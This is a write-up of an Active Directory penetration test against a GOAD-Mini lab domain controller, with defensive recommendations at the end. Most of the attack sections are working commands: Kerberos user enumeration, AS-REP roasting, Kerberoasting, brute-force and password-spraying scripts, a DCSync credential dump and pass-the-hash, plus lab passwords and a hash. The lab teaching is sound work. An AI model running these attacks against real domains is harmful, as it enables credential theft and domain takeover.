# Active Directory Penetration Testing — Complete Notes

<b># Active Directory Penetration Testing — Complete Notes
### Based on GOAD-Mini Lab Assessment

---

## Table of Contents
1. [Lab Environment](#lab-environment)
2. [Methodology Overview](#methodology-overview)
3. [Tools Used](#tools-used)
4. [Phase 1 — Reconnaissance & Network Discovery](#phase-1--reconnaissance--network-discovery)
5. [Phase 2 — Service Enumeration (SMB)](#phase-2--service-enumeration-smb)
6. [Phase 3 — User Enumeration](#phase-3--user-enumeration)
7. [Phase 4 — Password Discovery & Credential Acquisition](#phase-4--password-discovery--credential-acquisition)
8. [Phase 4.5 — Authenticated AD Enumeration](#phase-45--authenticated-ad-enumeration)
9. [Phase 5 — Advanced Exploitation](#phase-5--advanced-exploitation)
10. [Vulnerabilities Found](#vulnerabilities-found)
11. [Defensive Recommendations](#defensive-recommendations)
12. [Key Takeaways](#key-takeaways)

---

## Lab Environment

| Component | Detail |
|---|---|
| Hostname | KINGSLANDING |
| Domain | SEVENKINGDOMS / sevenkingdoms.local |
| Domain SID | S-1-5-21-3262952663-1425775882-330886615 |
| IP Address | 192.168.56.10 |
| OS | Windows Server 2019 |
| Role | Domain Controller (AD DS + DNS) |
| Attacker OS | Linux (Kali/Debian) |
| Network | Host-only (192.168.56.0/24) |

---

## Methodology Overview

```
1. Reconnaissance       → Network discovery, port scanning
2. Enumeration          → SMB, LDAP, user & group discovery
3. Credential Discovery → Password attacks, reuse testing
4. Exploitation         → AS-REP Roasting, Kerberoasting, DCSync
5. Post-Exploitation    → Lateral movement preparation
```

---

## Tools Used

| Category | Tools |
|---|---|
| Network Scanning | Nmap, Nmap NSE scripts |
| SMB Enumeration | Enum4linux, Enum4linux-ng, rpcclient, smbclient |
| LDAP Enumeration | ldapsearch, ldapdomaindump |
| Kerberos Attacks | Kerbrute, Impacket GetNPUsers, GetUserSPNs |
| Password Cracking | hashcat (modes 18200, 13100) |
| Brute Force | Hydra (limited), custom bash scripts, CrackMapExec/NetExec |
| Exploitation | Impacket secretsdump |
| Post-Exploit | crackmapexec, rpcclient |

---

## Phase 1 — Reconnaissance & Network Discovery

### Command
```bash
nmap -sV -sC -p- --min-rate 1000 192.168.56.10
```

### Key Findings
- **14 open ports** — confirmed full AD domain controller
- **Standard AD ports** all open (Kerberos 88, LDAP 389, SMB 445, etc.)
- **Port 80 (HTTP)** open — extra attack surface
- **WinRM ports 5985/5986** open — remote management accessible
- **Both LDAP (389) and LDAPS (636)** available, plus Global Catalog (3268/3269)

### Domain Info Revealed by Nmap
```
Domain:   sevenkingdoms.local
Site:     Default-First-Site-Name
Hostname: kingslanding.sevenkingdoms.local
```

### SSL Certificate (from LDAPS scan)
```
Subject:    commonName=kingslanding.sevenkingdoms.local
Valid From: 2026-01-24
Valid To:   2027-01-24
SAN:        DNS:kingslanding.sevenkingdoms.local
```

---

## Phase 2 — Service Enumeration (SMB)

### Enum4linux
```bash
enum4linux -a 192.168.56.10
```

**Findings:**
- Domain: SEVENKINGDOMS
- NetBIOS Name: KINGSLANDING
- MAC: 08:00:27:cd:d4:fb (VirtualBox NIC)
- ⚠️ **Anonymous sessions: ALLOWED** (username '', password '')
- ✅ SMB signing: Enabled and Required (protects against MITM/relay attacks)

### Enum4linux-ng (Advanced)
```bash
enum4linux-ng -A -oJ enum4linux-ng.json 192.168.56.10
```
Provides: share enumeration, user/group enum, password policy info.

### Nmap SMB Scripts
```bash
nmap --script=smb* 192.168.56.10
```
Key scripts: `smb-enum-shares`, `smb-enum-users`, `smb-os-discovery`, `smb-security-mode`, `smb-vuln-*`

> ✅ **SMB signing confirmed required** — good security control, prevents relay attacks.
> ⚠️ **Anonymous sessions allowed** — information disclosure risk.

---

## Phase 3 — User Enumeration

### Technique 1: Kerbrute (Most Effective)
```bash
kerbrute userenum --dc 192.168.56.10 -d sevenkingdoms.local userlist.txt
```

**How it works:**
- Valid username → `KDC_ERR_PREAUTH_REQUIRED` (user exists, needs password)
- Invalid username → `KDC_ERR_C_PRINCIPAL_UNKNOWN` (not found)

**Advantages:** Fast, no auth needed, low detection risk, bypasses anonymous restrictions.

---

### Technique 2: AS-REP Roasting for User Discovery
```bash
GetNPUsers.py sevenkingdoms.local/ -dc-ip 192.168.56.10 -usersfile userlist.txt -format hashcat
```

**Dual benefit:** Discovers valid usernames AND identifies vulnerable accounts simultaneously.

**Output messages explained:**

| Message | Meaning |
|---|---|
| `UF_DONT_REQUIRE_PREAUTH not set` | User exists but pre-auth is ON — not roastable |
| `KDC_ERR_C_PRINCIPAL_UNKNOWN` | Username doesn't exist |
| `KDC_ERR_CLIENT_REVOKED` | Account disabled/locked |
| `$krb5asrep$23$user@DOMAIN:...` | ✅ Hash captured — account is AS-REP roastable! |

---

### Technique 3: SMB/RPC Enumeration
```bash
enum4linux -U 192.168.56.10
rpcclient -U "" -N 192.168.56.10 → enumdomusers
```
Less reliable; often needs authentication.

### Technique 4: LDAP Anonymous Query
```bash
ldapsearch -x -H "ldap://192.168.56.10" -b "DC=sevenkingdoms,DC=local" "(objectClass=user)" sAMAccountName
```
Typically fails on properly configured AD (auth required — and in this lab it was blocked ✅).

---

### Discovered Users (27 total)

| Account | Type | Notes |
|---|---|---|
| Administrator | Admin | High-value target |
| TestAdmin | Admin | Test account |
| DCSyncUser | Privileged | High-value target |
| krbtgt | System | Critical — used in Golden Ticket attacks |
| KINGSLANDING$ | Computer | DC computer account |
| ASREPUser1 | Test | Pre-auth DISABLED — roastable |
| ASREPUser2 | Test | Pre-auth DISABLED — roastable |
| SprayUser1, SprayUser2 | Test | Intended for spray testing |
| TestUser | Test | Pre-auth disabled; Password: `Password123!` |
| ExchangeService | Service | Has SPN — Kerberoastable |
| FileService | Service | Has SPN — Kerberoastable |
| SQLService | Service | Has SPN — Kerberoastable |
| WebService | Service | Has SPN — Kerberoastable |
| cersei.lannister, jaime.lannister, joffrey.baratheon, etc. | Users | GoT-themed GOAD accounts |
| Guest | Built-in | Usually disabled |
| vagrant | Lab | Vagrant deployment account |

---

## Phase 4 — Password Discovery & Credential Acquisition

### Step 1: AS-REP Roasting (No Auth Needed)
```bash
# Get hashes
GetNPUsers.py sevenkingdoms.local/ -dc-ip 192.168.56.10 \
  -usersfile userlist.txt -format hashcat -outputfile asrep_hashes.txt

# Crack hashes (mode 18200)
hashcat -m 18200 -a 0 asrep_hashes.txt ./passlist.txt
```

**Cracked:**
- `TestUser:Password123!`
- `ASREPUser1:Password123!`
- `ASREPUser2:Password123!`

---

### Step 2: Kerberoasting (Needs 1 Valid Account)
```bash
# Request service tickets
GetUserSPNs.py -dc-ip 192.168.56.10 \
  sevenkingdoms.local/TestUser:Password123! \
  -request -outputfile kerberoast_hashes.txt

# Crack hashes (mode 13100)
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt --force
```

**Targets:** ExchangeService, FileService, SQLService, WebService (all had SPNs)
**Result:** All cracked with `Password123!`

---

### Step 3: SMB Brute Force

#### Why Hydra/Medusa FAIL on modern Windows Server 2019:
- SMB signing required — these tools don't handle it
- SMB 1.0/2.0 only — Server 2019 uses SMB 3.x
- Auth handshake mismatches

#### Working approach — custom bash script:
```bash
for user in $(cat users.txt); do
  for password in $(cat passlist.txt); do
    smbclient -L 192.168.56.10 -U "$user%$password" -N >/dev/null 2>&1
    if [ $? -eq 0 ]; then
      echo "VALID: $user:$password" >> valid_credentials.txt
    fi
  done
done
```

#### CrackMapExec / NetExec (Recommended):
```bash
crackmapexec smb 192.168.56.10 -u users.txt -p passwords.txt --continue-on-success
# OR newer:
netexec smb 192.168.56.10 -u users.txt -p passwords.txt --continue-on-success
```
Better lockout detection, faster, modern SMB support.

---

### Step 4: Password Spraying (Low Lockout Risk)
```bash
for password in $(cat spray_passwords.txt); do
  for user in $(cat users.txt); do
    smbclient -L 192.168.56.10 -U "$user%$password" -N >/dev/null 2>&1
    if [ $? -eq 0 ]; then echo "[+] VALID: $user:$password"; fi
    sleep 2  # avoid lockouts
  done
done
```

---

### Account Lockout Awareness

| Setting | Windows Default |
|---|---|
| Lockout threshold | 5 failed attempts |
| Lockout duration | 30 minutes |
| Counter reset | 30 minutes |

**Best practices:**
- Use `sleep 2` between attempts
- Use password spraying (few passwords × many users) over brute force
- Monitor for lockout error messages
- Prioritize service accounts first, avoid Administrator initially

---

### Credential Discovery Results

| Account | Password | How Found |
|---|---|---|
| TestUser | Password123! | AS-REP Roasting |
| ASREPUser1 | Password123! | AS-REP Roasting |
| ASREPUser2 | Password123! | AS-REP Roasting |
| ExchangeService | Password123! | Kerberoasting |
| FileService | Password123! | Kerberoasting |
| SQLService | Password123! | Kerberoasting |
| WebService | Password123! | Kerberoasting |
| **Administrator** | **8dCT-DJjgScp** | **Dictionary brute force** |

---

### Password Reuse Testing
```bash
found_password="8dCT-DJjgScp"
for user in $(cat users.txt); do
  smbclient -L 192.168.56.10 -U "$user%$found_password" -N >/dev/null 2>&1
  if [ $? -eq 0 ]; then echo "REUSE: $user:$found_password"; fi
done
```

---

## Phase 4.5 — Authenticated AD Enumeration

Once `Administrator:8dCT-DJjgScp` was obtained, full authenticated enumeration was performed.

### LDAP Queries

#### Users:
```bash
ldapsearch -x -H "ldap://192.168.56.10" \
  -D "Administrator@sevenkingdoms.local" -w "8dCT-DJjgScp" \
  -b "DC=sevenkingdoms,DC=local" "(objectClass=user)" \
  sAMAccountName userPrincipalName description
```

#### Groups:
```bash
ldapsearch ... "(objectClass=group)" cn member memberOf
```

#### Computers:
```bash
ldapsearch ... "(objectClass=computer)" name operatingSystem lastLogon
```

#### OUs:
```bash
ldapsearch ... "(objectClass=organizationalUnit)" ou description
```

### Full Domain Dump
```bash
ldapdomaindump -u "SEVENKINGDOMS\\Administrator" -p "8dCT-DJjgScp" \
  192.168.56.10 -o ldap_dump/
```

**Output files:** `domain_users.json`, `domain_groups.json`, `domain_computers.json`, `domain_ous.json`, `domain_policy.json`

---

## Phase 5 — Advanced Exploitation

### DCSync Attack
```bash
secretsdump.py -dc-ip 192.168.56.10 \
  sevenkingdoms.local/Administrator:8dCT-DJjgScp@192.168.56.10 \
  -just-dc
```

**What it extracts:**
- NTLM hashes for ALL domain accounts
- LM hashes (if enabled)
- Kerberos AES keys
- **krbtgt hash** → enables Golden Ticket attacks

**Why it's catastrophic:** Single command = complete domain credential dump.

**Required permissions for DCSync:**
- Domain Admin, OR
- "Replicating Directory Changes", OR
- "Replicating Directory Changes All" rights

---

### Authenticated SMB Enumeration (Pass-the-Hash)
```bash
crackmapexec smb 192.168.56.10 \
  -u Administrator \
  -H c66d72021a2d4744409969a581a1705e \
  --shares
```

### RPC Enumeration (Authenticated)
```bash
rpcclient -U "Administrator%8dCT-DJjgScp" 192.168.56.10
> enumdomusers
```

---

## Vulnerabilities Found

### Critical

| ID | Finding | Impact |
|---|---|---|
| F-01 | Weak Domain Admin password (`8dCT-DJjgScp`) | Immediate full domain control |
| F-02 | Excessive privileges enabled DCSync | All domain credentials extracted in one operation |

### High

| ID | Finding | Impact |
|---|---|---|
| F-03 | AS-REP Roastable accounts (ASREPUser1, ASREPUser2) | Offline cracking without authentication |
| F-04 | Kerberoastable service accounts with weak passwords | Service account takeover, lateral movement |

### Medium

| ID | Finding | Impact |
|---|---|---|
| F-05 | Partial anonymous SMB sessions allowed | Unauthenticated info gathering |
| F-06 | HTTP (port 80) open on DC | Extra attack surface, potential info leak |

### Positive Controls Observed ✅

| ID | Control | Value |
|---|---|---|
| P-01 | SMB signing required | Prevents relay/MITM attacks |
| P-02 | Anonymous LDAP bind disabled | Prevents unauthenticated directory scraping |

---

## Defensive Recommendations

### Immediate (High Priority)

1. **Eliminate weak/default credentials**
   - Reset Administrator and all service accounts
   - Use unique passwords — no sharing across accounts
   - Store privileged credentials in a vault

2. **Fix Kerberos pre-auth misconfigurations**
   - Enable pre-authentication on ALL user accounts
   - Audit for `DONT_REQ_PREAUTH` flag regularly
   - Alert on changes to this flag

3. **Strengthen password policy**
   - Minimum 14+ characters (higher for privileged/service accounts)
   - Enforce complexity or use long passphrases
   - Enable password history + minimum age
   - Implement MFA for administrative access

### Long-Term (Strategic)

4. **Privileged Access Management (PAM)**
   - JIT (Just-In-Time) privilege elevation
   - Privileged Access Workstations (PAWs)
   - Regular access reviews; reduce Domain Admin members

5. **Service Account Hardening**
   - Migrate to **gMSA** (Group Managed Service Accounts) — auto-rotating passwords
   - Deny interactive logon for service accounts
   - Constrain delegation
   - Reduce SPN exposure

6. **Reduce DC Attack Surface**
   - Remove non-essential services (e.g., no HTTP on DCs)
   - Role separation — no extra workloads on DCs

7. **Network Segmentation**
   - Isolate DCs from user subnets
   - Firewall/ACL for SMB (445), WinRM (5985/5986), LDAP (389/636), Kerberos (88)

8. **LAPS — Local Admin Password Solution**
   - Randomize local admin passwords per machine
   - Prevent lateral movement via password reuse

### Monitoring & Detection

9. **Enable Advanced Auditing** for:
   - Account Logon (success + failure)
   - Logon/Logoff (success + failure)
   - Account Management
   - Directory Service Access
   - Privilege Use
   - Policy Change

10. **Alert on these AD attack patterns:**
   - Unusual Kerberos auth failures (enumeration/spraying)
   - Spike in TGS requests to SPNs → Kerberoasting
   - DC replication operations from non-DC hosts → DCSync
   - Excessive failed logons across many users → password spray
   - Privileged group membership changes
   - Unexpected admin logons

11. **Protected Users Group** — add high-value accounts to prevent credential caching, Kerberos delegation abuse, etc.

---

## Key Takeaways

### Attack Side
- **Enumeration is decisive** — thorough recon directly enables all downstream attacks
- **One weak privileged credential collapses the entire domain** — even with good controls elsewhere
- **Service accounts are high-value targets** — SPNs + weak passwords = easy offline cracking
- **Password reuse is a force multiplier** — one cracked password can open many accounts
- **AS-REP Roasting is free** — no credentials needed, purely passive from the network

### Defense Side
- **Network controls alone are not enough** — credential hygiene is non-negotiable
- **Many AD attacks are detectable** — proper auditing + centralized logging + alerting
- **Least privilege matters** — smaller blast radius if one account is compromised
- **gMSA for service accounts** — removes the human password hygiene problem entirely
- **Clock sync (NTP) is critical for Kerberos** — drift > 5 min causes `KRB_AP_ERR_SKEW` and breaks auth

---

## Quick Reference: Hash Cracking Modes

| Attack | Hash Prefix | Hashcat Mode |
|---|---|---|
| AS-REP Roasting | `$krb5asrep$23$` | 18200 |
| Kerberoasting | `$krb5tgs$23$` | 13100 |
| NTLM | (no prefix) | 1000 |

---

## Quick Reference: Key Commands

```bash
# Kerbrute user enum
kerbrute userenum --dc 192.168.56.10 -d sevenkingdoms.local userlist.txt

# AS-REP Roasting
GetNPUsers.py sevenkingdoms.local/ -dc-ip 192.168.56.10 -usersfile users.txt -format hashcat -outputfile asrep.txt

# Kerberoasting
GetUserSPNs.py -dc-ip 192.168.56.10 sevenkingdoms.local/user:pass -request -outputfile kerb.txt

# Full domain dump
ldapdomaindump -u "DOMAIN\\user" -p "pass" 192.168.56.10 -o ldap_dump/

# DCSync
secretsdump.py -dc-ip 192.168.56.10 sevenkingdoms.local/Administrator:pass@192.168.56.10 -just-dc

# Crack AS-REP
hashcat -m 18200 -a 0 asrep.txt wordlist.txt

# Crack Kerberoast
hashcat -m 13100 kerb.txt wordlist.txt
```</b>

Comments